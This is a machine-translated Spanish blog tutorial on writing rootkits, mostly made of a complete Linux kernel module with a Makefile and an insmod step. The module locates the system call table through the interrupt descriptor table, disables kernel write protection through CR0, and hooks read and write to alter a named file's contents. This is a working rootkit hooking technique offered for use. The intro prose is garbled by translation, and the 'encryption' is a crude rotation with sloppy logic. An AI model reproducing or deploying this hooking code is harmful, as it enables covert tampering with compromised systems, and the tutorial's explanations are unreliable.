Principio de rootkit y tutorial de escritura

El principio del rootkit

Introducción a los rootkits

Los rootkits tienen una larga historia. Existen en windows, unix, linux y otros sistemas operativos. Root es root en inglés, lo que significa root, y kit significa paquete.
Podemos entender el rootkit como una puerta trasera que utiliza muchas tecnologías para acechar en su sistema, e incluye un paquete con muchas funciones, como borrar registros, agregar usuarios, cmdshell, agregar y eliminar servicios de inicio y otras funciones.
Por supuesto, sus diseñadores también utilizaron algunas técnicas para esconderse de ser descubiertos. Oculto incluye procesos ocultos, archivos ocultos, puertos o identificadores, entradas de registro, valores clave y más.
En resumen, las personas que crean rootkits usan muchos métodos para pasar desapercibidos.

Escrito por rootkit bajo windows

tecnología de programación de ventanas

Si desea escribir un rootkit en Windows, debe llamar a muchas funciones API de Windows, por lo que debe tener una cierta comprensión de la tecnología de programación de Windows.
Después de leer este libro electrónico, "Explicación detallada de la tecnología de programación de piratas informáticos de WINDOWS". puede entender

Escribir rootkits bajo Linux

Tome un controlador de filtro de archivos como ejemplo
filter.c:


#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>

unsigned long *sys_call_table = NULL;								 //系统调用表
asmlinkage ssize_t (*sys_read)(int, void *, size_t); //asmlinkage定义函数表示不从寄存器传递参数
asmlinkage ssize_t (*sys_write)(int, void *, size_t);
static char *filename = "test.c";
//S_IRUGO 内核文件权限值 charp指字符指针
module_param(filename, charp, S_IRUGO); //module_param定义模块参数用法:name,type,perm
static char *keyword = "key";
module_param(keyword, charp, S_IRUGO);
int orig_cr0;
#define STRLEN 1024
char tran_buf[STRLEN];
int len = 0;

struct _idt //中断描述表
{
    
    
	unsigned short offset_low, segment_sel;
	unsigned char reserved, flags;
	unsigned short offset_high;
};

unsigned long *getscTable()
{
    
    
	unsigned char idtr[6], *shell, *sort;
	struct _idt *idt;
	unsigned long system_call, sct;
	unsigned short offset_low, offset_high;
	char *p;
	int i;

	/* get the interrupt descriptor table */

	//__asm__调用内联汇编程序,意为GCC支持的在C/C++代码中嵌入汇编的方式
	__asm__("sidt %0"
					: "=m"(idtr));

	/* get the address of system_call */
	idt = (struct _idt *)(*(unsigned long *)&idtr[2] + 8 * 0x80);
	offset_low = idt->offset_low;
	offset_high = idt->offset_high;
	system_call = (offset_high << 16) | offset_low;

	shell = (char *)system_call;
	sort = "\xff\x14\x85";

	/* get the address of sys_call_table */

	for (i = 0; i < (100 - 2); i++)
		if (shell[i] == sort[0] && shell[i + 1] == sort[1] && shell[i + 2] == sort[2])
			break;

	p = &shell[i];
	p += 3;
	sct = *(unsigned long *)p;

	return (unsigned long *)(sct);
}

unsigned int clear_and_return_cr0(void)
{
    
    
	unsigned int cr0 = 0;
	unsigned int ret;

	asm volatile("movl %%cr0, %%eax"
							 : "=a"(cr0));
	ret = cr0;

	/*clear the 20th bit of CR0,*/
	cr0 &= 0xfffeffff;
	asm volatile("movl %%eax, %%cr0"
							 :
							 : "a"(cr0));
	return ret;
}

void setback_cr0(unsigned int val)
{
    
    
	asm volatile("movl %%eax, %%cr0"
							 :
							 : "a"(val));
}

void encrypt(char *tran_buf, char *keyword)
{
    
    
	int keylen = strlen(keyword);
	printk("keylen %d\n", keylen);
	int tlen = strlen(tran_buf);
	printk("tlen %d\n", tlen);
	int i = 0;
	char temp;
	while (keylen != 0)
	{
    
    
		temp = tran_buf[0];
		for (i = 1; i < tlen - 1; i++)
		{
    
    
			tran_buf[i - 1] = tran_buf[i];
		}
		tran_buf[tlen - 2] = temp;
		keylen--;
	}
}

void decrypt(char *tran_buf, char *keyword)
{
    
    
	int keylen = strlen(keyword);
	int tlen = strlen(tran_buf);
	int i = 0;
	char temp = 0;
	while (keylen != 0)
	{
    
    
		temp = tran_buf[tlen - 2];
		for (i = tlen - 3; i >= 0; i--)
		{
    
    
			tran_buf[i + 1] = tran_buf[i];
		}
		tran_buf[0] = temp;
		keylen--;
	}
}

asmlinkage ssize_t filefilter_read(unsigned int fd, char *buf, size_t count)
{
    
    

	struct file *file;
	int num = sys_read(fd, buf, count);
	file = fget(fd);
	if (file == NULL)
		return sys_read(fd, buf, count);

	if (!strcmp(file->f_dentry->d_name.name, filename))
	{
    
    
		if (count > STRLEN)
			len = STRLEN - 1;
		else
			len = count;
		copy_from_user(tran_buf, buf, len);
		decrypt(tran_buf, keyword);
		copy_to_user(buf, tran_buf, len);
	}
	fput(file);
	return num;
}

asmlinkage ssize_t filefilter_write(unsigned int fd, char *buf, size_t count)
{
    
    
	struct file *file;
	file = fget(fd);
	if (file == NULL)
		return sys_write(fd, buf, count);
	if (!strcmp(file->f_dentry->d_name.name, filename))
	{
    
    
		//printk("name %s\n",file->f_dentry->d_name.name);
		if (count > STRLEN)
			len = STRLEN - 1;
		else
			len = count;
		copy_from_user(tran_buf, buf, len);
		encrypt(tran_buf, keyword);
		copy_to_user(buf, tran_buf, len);
	}
	fput(file);
	return sys_write(fd, buf, count);
}

static int filefilter_init(void)
{
    
    
	sys_call_table = getscTable();
	printk("sys_call_table addr %x!\n", sys_call_table);
	sys_read = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_read];
	sys_write = (ssize_t(*)(int, void *, size_t))sys_call_table[__NR_write];
	orig_cr0 = clear_and_return_cr0();
	sys_call_table[__NR_read] = (unsigned long)filefilter_read;
	sys_call_table[__NR_write] = (unsigned long)filefilter_write;
	setback_cr0(orig_cr0);
	printk("installed!\n");
	return 0;
}

static int filefilter_exit(void)
{
    
    
	orig_cr0 = clear_and_return_cr0();
	sys_call_table[__NR_read] = (unsigned long)sys_read;
	sys_call_table[__NR_write] = (unsigned long)sys_write;
	setback_cr0(orig_cr0);
	printk("uninstalled!\n");
	return 0;
}

module_init(filefilter_init);
module_exit(filefilter_exit);
MODULE_LICENSE("GPL");

Makefile:

.PHONY:clean
ifneq ($(KERNELRELEASE),)
    obj-m += filter.o
else
    PWD := $(shell pwd)
    KVER := $(shell uname -r)
    KDIR := /lib/modules/$(KVER)/build
default:    
	$(MAKE) -C $(KDIR)  M=$(PWD) modules
all:
	make -C $(KDIR) M=$(PWD) modules 
clean:
	rm -rf *.o *.mod.c *.ko *.symvers *.order *.makers
endif

Después de hacer insmod filter.ko se puede completar

Supongo que te gusta

Origin blog.csdn.net/qq_42882717/article/details/114700229
Recomendado
Clasificación